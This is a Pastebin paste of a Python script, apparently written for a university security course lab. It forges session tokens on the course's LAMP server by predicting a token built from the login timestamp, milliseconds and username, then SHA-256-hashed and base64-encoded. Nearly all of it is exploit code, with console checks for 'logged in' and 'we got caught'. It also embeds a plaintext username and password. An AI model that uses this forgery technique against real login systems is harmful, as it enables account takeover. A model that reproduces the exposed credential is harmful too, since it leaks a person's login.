Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import time
- import requests
- import hashlib
- import base64
- input = {
- "user": "ianfergu",
- "pass": "CrazeGloriaAngleAbaseSeptemberDrips"
- }
- URL = "http://comp535-lnx-lampvm1.cs.unc.edu/index.php"
- while True:
- time.sleep(1)
- time1 = time.time()
- response = requests.post(URL, data=input)
- time2 = time.time()
- time_sync_value = time2 - time1
- #print(time_sync_value)
- time_sync_value = str(time_sync_value)
- time_sync_value = time_sync_value[3] + '0'
- #print(time_sync_value)
- #print(response.text)
- user_name = "ianfergu"
- if ("tampered" in response.text):
- print("we got caught")
- if ("account.php" in response.text):
- print('logged in')
- time_value = int(time1)
- unmodified_ms = int(time1 * 1000) - (time_value * 1000)
- modified_ms = unmodified_ms + int(time_sync_value)
- newToken = str(time_value) + '::' + str(modified_ms) + '::' + user_name
- hashed = hashlib.sha256(newToken.encode()).hexdigest()
- token = base64.b64encode(hashed.encode())
- print(token)
- token = token.decode('utf-8')
- print(token)
- input["token"] = token
- response = requests.post("http://comp535-lnx-lampvm1.cs.unc.edu/index.php?logout=true")
- if ("account.php" not in response.text):
- print("logged out")
- #elif ("accepted" in response.text):
- #print('I am in second')
- #print(response.text)
- #break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement